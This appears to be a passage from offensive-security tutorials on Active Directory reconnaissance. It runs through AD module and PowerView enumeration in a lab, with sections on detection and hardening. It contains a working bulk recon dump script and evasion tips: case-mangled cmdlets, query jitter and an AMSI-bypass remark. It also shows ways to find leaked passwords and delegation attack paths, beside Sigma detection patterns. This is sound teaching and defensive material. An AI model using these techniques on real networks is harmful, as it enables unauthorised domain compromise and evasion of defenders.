Three distinct primitives, three distinct attack paths. Unconstrained on SQL01 is the easy one. Constrained from WEB01 to MSSQLSvc/sql01 is the S4U2Proxy chain. RBCD on PRINT01 (msDS-AllowedToActOnBehalfOfOtherIdentity populated) means somebody has write access to that attribute somewhere and is using it as a delegation primitive, which itself is worth investigating with Get-Acl.

PrimaryGroupID -eq 515 filters out the DCs from the unconstrained query, because DCs always have TrustedForDelegation and you do not want them cluttering the output.


Graph diagram mapping three delegation attack paths discovered via Get-ADComputer: SQL01 with unconstrained delegation enabling TGT harvesting, WEB01 with constrained delegation for S4U2Proxy abuse, and PRINT01 with RBCD attribute set
A single Get-ADComputer query with delegation properties exposes three distinct Kerberos delegation attack paths, each requiring a different exploitation chain.

8. Trust and Cross-Domain Enumeration

Trusts are how domain compromise becomes forest compromise.

Get-ADTrust -Filter * |
    Select-Object Name, Source, Target, Direction, TrustType, SIDFilteringQuarantined, SelectiveAuthentication, TGTDelegation, IntraForest
Name           : child.lab.local
Source         : DC=lab,DC=local
Target         : DC=child,DC=lab,DC=local
Direction      : BiDirectional
TrustType      : Uplevel
SIDFilteringQuarantined : False
SelectiveAuthentication : False
TGTDelegation           : False
IntraForest             : True

Name           : partner.com
Source         : DC=lab,DC=local
Target         : DC=partner,DC=com
Direction      : Inbound
TrustType      : External
SIDFilteringQuarantined : True
SelectiveAuthentication : False
TGTDelegation           : False
IntraForest             : False

What you are reading: the child.lab.local trust is an intra-forest parent-child, bi-directional, SID filtering off (which is normal and expected within a forest). The partner.com trust is an external trust, inbound only, with SID filtering quarantine on, which means SID history injection from lab.local into partner.com is going to be filtered at the trust boundary. If SIDFilteringQuarantined were False on that external trust, that would be a high-value abuse primitive (the Golden Trust ticket primitive against the forest).

Cross-domain queries via the -Server parameter, which targets a specific DC in another domain:

Get-ADDomain -Server child.lab.local | Select-Object DNSRoot, DomainSID, PDCEmulator
Get-ADUser -Filter * -Server child.lab.local -Properties SamAccountName | Select-Object -First 5 SamAccountName
DNSRoot          DomainSID                                       PDCEmulator
-------          ---------                                       -----------
child.lab.local  S-1-5-21-2884128459-1077384402-3661728014       CHILDDC01.child.lab.local

SamAccountName
--------------
Administrator
krbtgt
Guest
childuser1
childuser2

The ADWS session opens against CHILDDC01:9389 and the same enumeration techniques port over wholesale.


9. GPO and OU Enumeration with the AD Module

The AD module does not have GPMC cmdlets, but every GPO is a groupPolicyContainer object in AD, and the AD module can read it generically.

Get-ADObject -LDAPFilter "(objectClass=groupPolicyContainer)" -Properties DisplayName, gPCFileSysPath, whenCreated, whenChanged |
    Select-Object DisplayName, gPCFileSysPath, whenCreated
DisplayName            gPCFileSysPath                                                          whenCreated
-----------            --------------                                                          -----------
Default Domain Policy  \\lab.local\SysVol\lab.local\Policies\{31B2F340-016D-11D2-945F-00C04F... 4/10/2022 18:00:13
Default Domain Cont... \\lab.local\SysVol\lab.local\Policies\{6AC1786C-016F-11D2-945F-00C04F... 4/10/2022 18:00:13
Workstation Lockdown   \\lab.local\SysVol\lab.local\Policies\{A8F1C2B1-9D44-4C5F-9C8F-66E1B... 6/15/2023 09:42:18
SQL Admin Restrictions \\lab.local\SysVol\lab.local\Policies\{D44A1E2F-9211-4F7C-8A1E-C2C9F... 8/22/2023 14:11:55

The gPCFileSysPath is the SYSVOL location of the GPO’s actual files. As a domain user you have read access. That is where groups.xml cpassword-style misconfigurations have historically lived, and where Restricted Groups / GPP Files / scheduled tasks reveal what the GPO actually does.

# Find OUs and the GPOs linked to them
Get-ADOrganizationalUnit -Filter * -Properties LinkedGroupPolicyObjects |
    Where-Object { $_.LinkedGroupPolicyObjects.Count -gt 0 } |
    Select-Object DistinguishedName, @{n='LinkedGPOs';e={$_.LinkedGroupPolicyObjects -join "`n"}}
DistinguishedName                     LinkedGPOs
-----------------                     ----------
OU=Workstations,DC=lab,DC=local       cn={A8F1C2B1-9D44-4C5F-9C8F-66E1B...},cn=policies,cn=system,DC=lab,DC=local
OU=SQL Servers,DC=lab,DC=local        cn={D44A1E2F-9211-4F7C-8A1E-C2C9F...},cn=policies,cn=system,DC=lab,DC=local

Cross-reference the GUIDs from LinkedGroupPolicyObjects against the DisplayName listing above and you know which GPO applies where without ever touching Get-GPO.


10. Full Enumeration Script: Chaining a Complete Recon Workflow

What you actually want on a real engagement is a single script that produces structured output you can grep, diff, and feed to BloodHound or graph tools. Here is the workflow as one block:

$out = "C:\Users\bob\AppData\Local\Temp\recon"
New-Item -ItemType Directory -Force -Path $out | Out-Null

Get-ADDomain               | Export-Clixml "$out\domain.xml"
Get-ADForest               | Export-Clixml "$out\forest.xml"
Get-ADDomainController -Filter * | Export-Clixml "$out\dcs.xml"

# Users (full attribute set, written once)
Get-ADUser -Filter * -Properties * | Export-Clixml "$out\users_full.xml"

# Computers
Get-ADComputer -Filter * -Properties * | Export-Clixml "$out\computers_full.xml"

# Groups + recursive membership of high-value groups
Get-ADGroup -Filter * -Properties * | Export-Clixml "$out\groups_full.xml"
$hvt = 'Domain Admins','Enterprise Admins','Schema Admins','Administrators',
       'DnsAdmins','Backup Operators','Account Operators','Server Operators',
       'Print Operators','Remote Desktop Users'
$hvt | ForEach-Object {
    $g = $_
    try {
        Get-ADGroupMember -Identity $g -Recursive -ErrorAction Stop |
            Select-Object @{n='Group';e={$g}}, SamAccountName, objectClass, SID
    } catch { }
} | Export-Clixml "$out\hvt_members.xml"

Get-ADTrust -Filter * | Export-Clixml "$out\trusts.xml"
Get-ADObject -LDAPFilter "(objectClass=groupPolicyContainer)" -Properties * | Export-Clixml "$out\gpo.xml"
Get-ADOrganizationalUnit -Filter * -Properties * | Export-Clixml "$out\ous.xml"

"[+] Enumeration complete: $out"
Get-ChildItem $out | Select-Object Name, Length
[+] Enumeration complete: C:\Users\bob\AppData\Local\Temp\recon

Name              Length
----              ------
computers_full.xml 124882
dcs.xml             14820
domain.xml          22155
forest.xml          18044
gpo.xml             68203
groups_full.xml     91744
hvt_members.xml     12108
ous.xml             24390
trusts.xml          11240
users_full.xml     281522

Eight XML files, every CLI XML re-hydratable with Import-Clixml, full attribute set. You can pull this archive off the box, walk it offline, and never touch the DC again. That alone is an OPSEC win, every additional query is another row in Event 1644.

A small but important thing: doing Get-ADUser -Filter * -Properties * once is loud (one big query) but every subsequent question about users is then answered from the CLI XML on disk. Doing Get-ADUser -Filter * followed by twenty Get-ADUser <name> -Properties X for different attributes is twenty-one queries. One loud query beats twenty-one moderately loud ones for both OPSEC and runtime.


11. OPSEC Considerations: When the Module Works Against You

Three things will get you caught even with the AD module’s stealth advantages.

-Properties * is a flare. When the AD module asks ADWS for all attributes, ADWS issues an LDAP search with no specific attribute list, and the resulting Event 1644 on the DC has a distinctive [all_with_list] marker in its filter description. Defenders looking for the bulk-enumeration pattern key on exactly that string. Ask only for the properties you actually need.

Query velocity matters. A normal admin running ADAC might trigger ten to twenty ADWS queries in a minute. A recon script tearing through users, computers, groups, and trusts in sequence triggers hundreds. If your SIEM is doing rate analysis on Event 1138 by user, you stand out. Add Start-Sleep jitter between query phases and live with the slower runtime.

Case mangling helps against bad rules but not against good ones. PowerShell cmdlet names are case-insensitive, so gEt-aDcompUTER -Filter {eNaBLed -eq $TruE} -PROPErTieS * runs identically to the normal form. This evades naive Sigma rules that key on exact-case Get-ADComputer substrings in CommandLine fields. It does not evade the ScriptBlock log (Event 4104) if the rule does case-insensitive matching, which the SigmaHQ rules do by default with the |contains modifier. Treat this as an evasion against lazy detections, not a stealth technique.

gEt-aDcompUTER -fIlTeR { ENableD -eq $TrUE } -pRoPErTiEs OperatingSystem | sElEcT-oBJecT NaMe, OpERaTiNgsYsTeM | sElect-OBJect -fIRsT 3
Name     OperatingSystem
----     ---------------
DC01     Windows Server 2022 Standard
WS01     Windows 10 Enterprise
SQL01    Windows Server 2019 Standard

It runs. It still hits the DC. Event 4104 captures it exactly as typed.

Set $ErrorActionPreference carefully. Default behavior of the module is to throw on unresolvable objects (FSPs, deleted refs, scope errors), and those errors are noisy in transcripts and useful to defenders. SilentlyContinue quiets them but also hides legitimate problems. Stop with a try/catch around each phase is the OPSEC-correct answer.


Illustration of a signal flare lighting up a dark landscape with a watchtower in the distance, symbolizing how careless AD module query flags like -Properties * alert defenders
Using -Properties * or firing rapid-burst queries is the operational equivalent of lighting a flare – it stands out precisely in the logs defenders are trained to watch.

12. Detection and Defense

The honest version: if PowerShell logging is not on, you will see almost none of this. The first half of every detection conversation about the AD module is “did we turn on the things that make detection possible.”

Prerequisites. All of the following must be enabled via Group Policy under Computer Configuration > Policies > Administrative Templates > Windows Components > Windows PowerShell:

  • Module Logging with ModuleNames = * (writes Event 4103 to Microsoft-Windows-PowerShell/Operational)
  • Script Block Logging (writes Event 4104, the single most important detection signal for this tradecraft)
  • Transcription (writes session transcripts to disk)

On domain controllers:

  • Audit Directory Service Access (Success + Failure) for Events 4661/4662
  • Field Engineering LDAP logging for Event 1644: set HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\15 Field Engineering to 5

Without those, the AD module looks like nothing on the DC and nothing on the workstation. With them on, the picture changes considerably.

Key Windows Event IDs

Event IDLog / SourceWhat it shows
4104Microsoft-Windows-PowerShell/OperationalScriptBlock logged. Captures the cmdlet text including filters and parameters. Primary detection for Get-AD*.
4103Microsoft-Windows-PowerShell/OperationalModule log pipeline execution event.
4688SecurityProcess creation. With command-line auditing enabled, catches powershell.exe invocations.
1138Microsoft-Windows-ActiveDirectory_DomainServiceADWS session opened. Logs the real client IP.
1139SameADWS session closed.
1644Directory Service (DC)LDAP search statistics. Client field always [::1] for ADWS-routed queries. [all_with_list] marker indicates -Properties *.
1166Directory ServiceLDAP search operation started.
1167Directory ServiceLDAP search operation ended.
4661SecuritySAM/AD object handle requested. Requires DS Access auditing.
4662SecurityOperation performed on AD object. Useful for hunting access to specific objects like Domain Admins.

The high-fidelity detection is to correlate Event 1138 (real client IP from ADWS) with the burst of Event 1644 (LDAP queries from localhost) and Event 4104 on the source workstation. Any one of these alone is noisy. Joined by timestamp and Operation ID, they are surgical.

Sysmon

Sysmon Event IDWhat it adds
1 (ProcessCreate)Catches powershell.exe / pwsh.exe with AD-related command line. Less reliable than 4104 because parameters can be passed via stdin or -EncodedCommand.
7 (ImageLoad)Catches Microsoft.ActiveDirectory.Management.dll loading into any process, including non-PowerShell hosts. This is often the cleanest signal because the DLL is the artifact.
3 (NetworkConnect)Workstation-side outbound to DC:9389. Correlate the source process and user with DC-side Event 1138.

Sigma Rules

The following rules exist in SigmaHQ and should be in your ruleset. Verify file paths against the current repo before deploying:

  • posh_ps_active_directory_module_dll_import (PowerShell Script, EventID 4104)
  • proc_creation_win_powershell_active_directory_module_dll_import (Process Creation)
  • posh_pm_active_directory_module_dll_import (PowerShell Module log)
  • posh_ps_get_adcomputer (EventID 4104, matches Get-AdComputer invocations)

A custom Sigma rule that covers the broader Get-AD* pattern on Event 4104:

title: AD Module Enumeration via Get-AD* Cmdlets
id: 9f8b3e7a-2d44-4c6a-9c1d-3e7a91b54c01
status: experimental
description: Detects broad Active Directory enumeration using the Microsoft-signed AD PowerShell module.
logsource:
  product: windows
  category: ps_script
detection:
  selection_cmdlets:
    ScriptBlockText|contains|all:
      - 'Get-AD'
    ScriptBlockText|contains:
      - 'Get-ADUser'
      - 'Get-ADComputer'
      - 'Get-ADGroup'
      - 'Get-ADGroupMember'
      - 'Get-ADTrust'
      - 'Get-ADDomain'
      - 'Get-ADForest'
      - 'Microsoft.ActiveDirectory.Management'
  selection_bulk:
    ScriptBlockText|contains:
      - '-Filter *'
      - '-Properties *'
      - '-LDAPFilter'
  condition: selection_cmdlets or selection_bulk
falsepositives:
  - Administrative scripts on management workstations
  - Active Directory Administrative Center usage
level: medium

The |contains modifier in Sigma is case-insensitive by default in modern backends, so gEt-aDcompUTER matches. Verify your specific SIEM’s Sigma converter respects that, because older converters did not.

MITRE Defender for Identity

MDI sits on the DC and watches the local LDAP layer below ADWS, so the localhost problem does not apply. If you have it deployed, the “Reconnaissance using directory services queries” and “Account enumeration” detections fire on this tradecraft regardless of which transport the client used.

Hardening

  • Restrict ingress to TCP/9389 on DCs to a small set of management subnets via host firewall.
  • Detect Microsoft.ActiveDirectory.Management.dll loading from any non-standard path (Sysmon EID 7).
  • Audit access to high-value group objects (Domain Admins, etc.) with SACLs that fire Event 4662 on read.
  • Enroll privileged accounts in the Protected Users group (they reject NTLM, refuse DES/RC4, get a 4-hour TGT lifetime).
  • Centralize PowerShell logs via WEF to a SIEM. Local logs are easily cleared.

Hierarchy diagram organising AD module detection signals into three branches: workstation events including ScriptBlock log 4104 and Sysmon DLL ImageLoad, DC events including ADWS session 1138 and LDAP diagnostic 1644, and network events showing outbound port 9389 connections
Effective detection requires correlating signals across three layers – no single event is sufficient; joining Event 1138 real client IP with 1644 LDAP searches and 4104 ScriptBlock text delivers surgical attribution.

13. Tools

ToolUseLink
Microsoft.ActiveDirectory.Management.dllThe AD module itself, loadable standalonebundled with RSAT
ADACGUI client of ADWS, useful for confirming what queries look likebuiltin
PowerView / SharpViewWhen you need ACL graph traversal or session enumerationgithub.com/PowerShellMafia
BloodHound + SharpHoundGraph-based AD relationship analysisbloodhound.specterops.io
SoaPyStealth ADWS client, direct SOAP without the AD module DLLgithub.com/logangoins/SoaPy
ADExplorerSysinternals offline AD snapshot viewerlearn.microsoft.com/sysinternals
Microsoft Defender for IdentityDC-side detection that sees through the ADWS proxymicrosoft.com/security/business/microsoft-defender-for-identity
SigmaHQ rulesDetection content for ScriptBlock and process creationgithub.com/SigmaHQ/sigma

14. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Account Discovery: Domain AccountT1087.002Event 4104 on Get-ADUser, Event 1644 with user/group filter strings
Permission Groups Discovery: Domain GroupsT1069.002Event 4104 on Get-ADGroup/Get-ADGroupMember, Event 4662 on protected groups
Domain Trust DiscoveryT1482Event 4104 on Get-ADTrust, Event 4662 on CN=System trust objects
Remote System DiscoveryT1018Event 4104 on Get-ADComputer -Filter *, Event 1644 bulk computer enumeration
System Network Configuration DiscoveryT1016Event 4104 on Get-ADDomainController/Get-ADSite
Command and Scripting Interpreter: PowerShellT1059.001Event 4103/4104, Sysmon EID 1, Defender ASR rules

Summary

  • The AD module is a Microsoft-signed PowerView for read-only recon. It does not match PowerView on ACL/GPO graph traversal, but for account, group, computer, and trust enumeration it is functionally equivalent and far quieter.
  • DLL portability is the OPSEC unlock. Microsoft.ActiveDirectory.Management.dll copied from any RSAT host and Import-Module‘d on a target gives a standard domain user full enumeration capability with no install and no admin rights.
  • ADWS over TCP/9389 makes the traffic invisible to network LDAP detection. Every query hits the DC as localhost in Event 1644. Detection must correlate ADWS Event 1138/1139 (real client IP) with the LDAP search events and with Event 4104 on the workstation.
  • -Properties * is the loudest knob you can turn. It paints [all_with_list] into the LDAP filter description on the DC and is exactly what bulk-enumeration detections look for. Ask only for what you need.
  • Without ScriptBlock logging (4104) and Field Engineering 1644, you cannot detect this. Get those on first, then deploy the SigmaHQ rules for module DLL imports and the broader Get-AD* pattern, then hunt for the workstation-to-DC 9389 sessions that do not come from your admin tier.

Related Tutorials

References

Domain Enumeration with PowerView: Users, Groups, Computers, OUs, GPOs, Shares, LAPS and the Full Object Graph

You just phished lowpriv@lab.local and you have a PowerShell prompt on WS02. No local admin, no special groups, just a plain domain user. That is exactly the position most engagements start from, and it is more than enough. Active Directory is a giant, queryable database that every authenticated principal can read, and PowerView turns that read access into a map of who can compromise whom.

Objective: Use PowerView from an unprivileged domain-user context to systematically enumerate every major AD object class (users, groups, computers, OUs, GPOs, shares, ACLs, LAPS, trusts), explain the LDAP and security-descriptor mechanics that make each query work, chain the findings into a prioritized attack-path graph, and show defenders the exact telemetry each action generates.


1. Environment Setup and Lab Topology

Build this in VirtualBox, VMware, or Hyper-V. Everything that follows is run against your own lab, never a network you do not own.

HostRoleOSNotes
DC01Domain ControllerWindows Server 2022Domain lab.local, LAPS v1 deployed
WS01WorkstationWindows 11Joined to lab.local
WS02WorkstationWindows 10Attacker foothold (lowpriv session)

Provision these accounts and the deliberate weaknesses that make the lab teachable:

PrincipalConfigured WeaknessWhat It Will Teach
lowprivStandard user, the footholdBaseline read access
svc_backupGenericAll over OU=ServersOU ACL abuse
helpdesk (group)WriteDACL on the WS01$ computer objectObject DACL takeover
helpdesk (group)ReadProperty on ms-Mcs-AdmPwdOver-broad LAPS delegation
Domain Admins groupdescription contains a partial passwordLazy admin habits
Domainms-DS-MachineAccountQuota = 10 (default)Standard users can join machines

Deploy legacy LAPS (v1) so that the ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attributes exist on computer objects. Add the helpdesk group to the delegated read set on the Workstations OU. That single misconfiguration is the centerpiece of section 11.

Pull PowerView from the PowerSploit Recon module and LAPSToolkit onto WS02. In a real engagement you would load these in memory; in the lab, dropping the .ps1 files is fine.


2. How PowerView Works Internally

PowerView is a set of pure-PowerShell replacements for the legacy net * commands, written by Will Schroeder (harmj0y). Under the hood almost every Get-Domain* function builds a System.DirectoryServices.DirectorySearcher object, points it at a domain controller over LDAP (TCP 389, or 636 for LDAPS), applies an LDAP filter, and returns the matching directory objects.

This matters for two reasons. First, you do not need Domain Admin. LDAP read access is granted to the Authenticated Users group by default, so lowpriv can read nearly the entire directory: users, groups, computers, OUs, GPO metadata, ACLs, and trusts. Second, the traffic is ordinary LDAP, which means it is monitorable, but only if you are watching the right place.

There is a well-known ADWS blind spot worth understanding. The Microsoft ActiveDirectory PowerShell module (Get-ADComputer, Get-ADUser) does not speak raw LDAP. It talks to Active Directory Web Services (ADWS) on TCP 9389, which then issues the LDAP query locally on the DC. Detections keyed only to client-side LDAP can miss an attacker who pivots to the AD module. PowerView itself is LDAP-native, so it is more visible to LDAP-client telemetry, but defenders should monitor both transports.

Load PowerView. Dot-sourcing runs the script in the current scope so every function is available; Import-Module works too.

whoami /all
. .\PowerView.ps1          # dot-source into current session
# Alternative: Import-Module .\PowerView.ps1
USER INFORMATION
----------------
User Name      SID
============== =============================================
lab\lowpriv    S-1-5-21-1583049731-1842831045-2390477603-1106

GROUP INFORMATION
-----------------
Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
lab\Domain Users                     Group            S-1-5-21-...-513 Mandatory group, Enabled by default, Enabled group

A few operational notes. PowerView’s signatures are flagged by AMSI / Windows Defender, so in a defended lab you may need an AMSI bypass or an obfuscated build. If the DC enforces Constrained Language Mode (CLM), PowerView is heavily crippled, but the signed AD module is not constrained, which is exactly why attackers fall back to it. Keep that asymmetry in mind.


3. Domain and Forest Baseline

Before touching individual objects, establish where you are. The domain SID prefix is the key you will use to read every other SID, and the functional level tells you which attacks are even possible.

Get-Domain
Forest                  : lab.local
DomainControllers       : {DC01.lab.local}
Children                : {}
DomainMode              : Windows2016Domain
DomainModeLevel         : 7
Parent                  :
PdcRoleOwner            : DC01.lab.local
RidRoleOwner            : DC01.lab.local
InfrastructureRoleOwner : DC01.lab.local
Name                    : lab.local
Get-DomainController | Select-Object Name, IPAddress, OSVersion
Name           IPAddress   OSVersion
----           ---------   ---------
DC01.lab.local 10.10.10.10 Windows Server 2022 Standard

The password policy tells you whether you can spray credentials without locking accounts. LockoutBadCount : 0 means there is no lockout threshold, which is an open invitation to password spraying.

Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess
MinimumPasswordAge           : 1
MaximumPasswordAge           : 42
MinimumPasswordLength        : 7
PasswordComplexity           : 1
PasswordHistorySize          : 24
LockoutBadCount              : 0
RequireLogonToChangePassword : 0
ClearTextPassword            : 0
Get-ForestDomain
Forest                  : lab.local
DomainControllers       : {DC01.lab.local}
Name                    : lab.local

Forest                  : lab.local
DomainControllers       : {DEVDC01.dev.lab.local}
Name                    : dev.lab.local

A child domain dev.lab.local appears. Note it. Child domains share a forest and therefore an implicit two-way transitive trust, which becomes section 12’s lateral-movement opportunity.


4. User Enumeration

Get-DomainUser issues an LDAP query for (samAccountType=805306368), the value identifying normal user accounts. Every property in the schema that Authenticated Users can read comes back. Pull the high-signal fields first.

Get-DomainUser | Select-Object samaccountname, description, pwdlastset, logoncount, memberof
samaccountname : Administrator
description    : Built-in account for administering the computer/domain
pwdlastset     : 1/14/2024 9:02:11 AM
logoncount     : 187
memberof       : {CN=Group Policy Creator Owners,CN=Users,DC=lab,DC=local, CN=Domain Admins,...}

samaccountname : svc_sql
description    : SQL service account - initial pw Sql$vc2023 rotate quarterly
pwdlastset     : 3/02/2023 4:41:55 PM
logoncount     : 2204
memberof       : {CN=SQLAdmins,OU=Groups,DC=lab,DC=local}

samaccountname : svc_backup
description    : Veeam backup service
pwdlastset     : 2/11/2024 8:15:00 AM
logoncount     : 51
memberof       : {CN=Backup Operators,CN=Builtin,DC=lab,DC=local}

samaccountname : lowpriv
description    :
pwdlastset     : 5/03/2024 10:22:31 AM
logoncount     : 9
memberof       : {CN=Domain Users,CN=Users,DC=lab,DC=local}

Two findings already. svc_sql has a plaintext-ish password fragment in its description, and svc_backup is in Backup Operators, a privileged group that can read any file on a DC (including NTDS.dit). The description field is unencrypted and world-readable, which is why lazy credential storage there is a recurring jackpot.

Hunt descriptions directly with a server-side LDAP filter so the DC does the matching:

Get-DomainUser -LDAPFilter "(description=*pass*)" | Select-Object name, description
name        description
----        -----------
backupadmin Temp password Welcome2023! - delete this account

Now interpret the userAccountControl (UAC) attribute. UAC is a bitfield. Each bit flags a property: account disabled (0x2), password not required (PASSWD_NOTREQD, 0x20), no Kerberos pre-auth required (DONT_REQ_PREAUTH, 0x400000, the AS-REP roasting flag), trusted for delegation (TRUSTED_FOR_DELEGATION, 0x80000). PowerView decodes it for you.

Get-DomainUser svc_backup | ConvertFrom-UACValue
Name                           Value
----                           -----
NORMAL_ACCOUNT                 512
DONT_EXPIRE_PASSWORD           65536

Find delegation-relevant accounts. Unconstrained delegation accounts cache TGTs and are prime targets; constrained delegation can be abused for impersonation.

Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
samaccountname            msds-allowedtodelegateto
--------------            ------------------------
svc_web                   {HTTP/SQL01.lab.local, HTTP/SQL01}

svc_web is configured for constrained delegation to SQL01‘s HTTP service. If you compromise svc_web, S4U2Proxy lets you request service tickets to SQL01 as any user, including a domain admin. That is a privilege-escalation path you log for later.

The mechanics worth internalizing: Kerberos issues a TGT at logon (the AS exchange) and service tickets per resource (the TGS exchange). Each ticket carries a PAC with the user’s group SIDs. Delegation flags decide whether a service can reuse a user’s identity to request further tickets, which is exactly what makes TrustedToAuth so dangerous.

This maps to T1087.002 (Account Discovery: Domain Account).


5. Group Enumeration and Membership Chains

Groups are how privilege actually flows in AD. Get-DomainGroup enumerates group objects; Get-DomainGroupMember -Recurse walks nested membership, which matters because someone can be a Domain Admin three groups deep without being a direct member.

Get-DomainGroup | Select-Object name, description
name                          description
----                          -----------
Domain Admins                 Designated administrators - svc pw resets to ChangeMe!2024
Enterprise Admins             Designated administrators of the enterprise
Backup Operators              Members can override security to back up files
Helpdesk                      Tier 2 desktop support
SQLAdmins                     SQL server administrators
Protected Users               Members are afforded additional protections...

There it is: the Domain Admins group description leaks a password. Lab-planted, but you will see this pattern in the wild more than you would believe.

Resolve the membership of the crown-jewel group:

Get-DomainGroupMember "Domain Admins" | Select-Object membername, membersid
membername    membersid
----------    ---------
Administrator S-1-5-21-1583049731-1842831045-2390477603-500
svc_da        S-1-5-21-1583049731-1842831045-2390477603-1119

The -500 RID confirms the built-in Administrator. svc_da is a service account in Domain Admins, a frequent kerberoasting target.

Recurse the Helpdesk group to flatten nesting:

Get-DomainGroupMember "Helpdesk" -Recurse | Select-Object membername, membersid, membertype
membername membersid                                       membertype
---------- ---------                                       ----------
jsmith     S-1-5-21-1583049731-1842831045-2390477603-1131  user
deskadmins S-1-5-21-1583049731-1842831045-2390477603-1140  group
tbrown     S-1-5-21-1583049731-1842831045-2390477603-1142  user

deskadmins is nested inside Helpdesk, so tbrown inherits every right Helpdesk holds, including (as we will find) WriteDACL on WS01$ and LAPS read. Find what your own foothold belongs to:

Get-DomainGroup -MemberIdentity lowpriv | Select-Object name
name
----
Domain Users
Helpdesk

lowpriv is in Helpdesk. That is the privilege escalation thread the rest of this tutorial pulls on. This activity maps to T1069.002 (Permission Groups Discovery: Domain Groups).


Diagram showing lowpriv and tbrown belonging to Helpdesk via direct and nested membership, with Helpdesk holding WriteDacl and LAPS read rights on WS01 and ForceChangePassword over jsmith
Nested group membership means lowpriv inherits every privilege Helpdesk holds, including DACL write on WS01 and password-reset rights over jsmith.

6. Computer Enumeration

Get-DomainComputer filters on (samAccountType=805306369). Operating-system attributes are populated at domain join and reveal patch posture and likely targets.

Get-DomainComputer | Select-Object dnshostname, operatingsystem, operatingsystemversion, distinguishedname
dnshostname    operatingsystem               operatingsystemversion distinguishedname
-----------    ---------------               ---------------------- -----------------
DC01.lab.local Windows Server 2022 Standard  10.0 (20348)           CN=DC01,OU=Domain Controllers,DC=lab,DC=local
WS01.lab.local Windows 11 Pro                10.0 (22631)           CN=WS01,OU=Workstations,DC=lab,DC=local
WS02.lab.local Windows 10 Pro                10.0 (19045)           CN=WS02,OU=Workstations,DC=lab,DC=local
SQL01.lab.local Windows Server 2019 Standard 10.0 (17763)          CN=SQL01,OU=Servers,DC=lab,DC=local
FILE01.lab.local Windows Server 2016 Standard 10.0 (14393)         CN=FILE01,OU=Servers,DC=lab,DC=local

FILE01 runs Server 2016 and is your likely share host. The distinguishedName is critical here: it encodes the OU path, which lets you tie computers to OUs and then to the GPOs that configure them.

Hunt stale computer accounts. A machine that has not logged on in 90 days may still hold valid credentials and is a low-noise target.

Get-DomainComputer -Properties dnshostname,lastlogontimestamp | Where-Object {
    [datetime]::FromFileTime($_.lastlogontimestamp) -lt (Get-Date).AddDays(-90)
} | Select-Object dnshostname, @{N='LastLogon';E={[datetime]::FromFileTime($_.lastlogontimestamp)}}
dnshostname      LastLogon
-----------      ---------
OLD-PRINT.lab.local 11/02/2023 6:14:22 AM

Computer enumeration is T1018 (Remote System Discovery).


7. OU Enumeration and OU-to-Computer Mapping

Organizational units are the containers that GPOs attach to. The gpLink attribute on an OU holds the LDAP paths of the GPOs linked to it, so OU enumeration is the bridge between objects and policy.

Get-DomainOU | Select-Object name, distinguishedname, gplink
name          distinguishedname                       gplink
----          -----------------                       ------
Workstations  OU=Workstations,DC=lab,DC=local         [LDAP://cn={31B2F340-016D-11D2-945F-00C04FB984F9},cn=policies,...;0][LDAP://cn={6AC1786C-016F-11D2-945F-00C04fB984F9},...;0]
Servers       OU=Servers,DC=lab,DC=local              [LDAP://cn={A91D2F89-1F1C-4E2B-9A3D-7C2E8F1B0D44},...;0]
Domain Controllers OU=Domain Controllers,DC=lab,DC=local [LDAP://cn={6AC1786C-016F-11D2-945F-00C04fB984F9},...;0]

Use the OU’s distinguishedName as a -SearchBase to scope a computer query to exactly that OU. The DirectorySearcher then walks only that subtree.

(Get-DomainOU -Identity "Workstations").distinguishedname | ForEach-Object {
    Get-DomainComputer -SearchBase "LDAP://$_" | Select-Object dnshostname
}
dnshostname
-----------
WS01.lab.local
WS02.lab.local

You now know that the two GPO GUIDs in the Workstations gpLink apply to WS01 and WS02. Resolve those GUIDs next.


8. GPO Enumeration and OU-GPO Linkage

Group Policy Objects configure everything from local group membership to scheduled tasks. The metadata lives in AD; the actual policy files live in SYSVOL, pointed to by the gPCFileSysPath attribute. Any authenticated user can read SYSVOL, so GPO files often leak configuration (and historically, GPP cpassword secrets).

Get-DomainGPO | Select-Object displayname, name, gpcfilesyspath
displayname               name                                   gpcfilesyspath
-----------               ----                                   --------------
Default Domain Policy      {31B2F340-016D-11D2-945F-00C04FB984F9} \\lab.local\SysVol\lab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
Default Domain Controllers {6AC1786C-016F-11D2-945F-00C04fB984F9} \\lab.local\SysVol\lab.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
WS-LocalAdmins             {A91D2F89-1F1C-4E2B-9A3D-7C2E8F1B0D44} \\lab.local\SysVol\lab.local\Policies\{A91D2F89-1F1C-4E2B-9A3D-7C2E8F1B0D44}

Resolve the GUID from the Workstations gpLink to a friendly name:

Get-DomainGPO -Identity '{6AC1786C-016F-11D2-945F-00C04fB984F9}' | Select-Object displayname
displayname
-----------
Default Domain Controllers Policy

The real prize is figuring out where a GPO grants local admin. Get-DomainGPOLocalGroup parses Restricted Groups and Group Policy Preferences entries; Get-DomainGPOComputerLocalGroupMapping resolves that down to specific machines.

Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName, GroupMembers
GPODisplayName GroupName               GroupMembers
-------------- ---------               ------------
WS-LocalAdmins BUILTIN\Administrators  {lab\Helpdesk}
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity WS01
ComputerName : WS01.lab.local
ObjectName   : lab\Helpdesk
ObjectSID    : S-1-5-21-1583049731-1842831045-2390477603-1150
IsGroup      : True
GPODisplayName : WS-LocalAdmins

Helpdesk (which contains lowpriv) is local administrator on WS01 and WS02 via GPO. That is direct lateral movement: lowpriv can dump credentials on those hosts. GPO enumeration maps to T1615 (Group Policy Discovery).


9. Share Enumeration

Find-DomainShare walks every computer object and calls NetShareEnum against each. The flags trim noise and verify reachability. -CheckShareAccess performs an actual connection test so you only see shares your token can open.

Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess
Name        Type Remark            ComputerName
----        ---- ------            ------------
Profiles    0    User profiles     FILE01.lab.local
Software    0    Software repo     FILE01.lab.local
Backups     0    Nightly backups   FILE01.lab.local
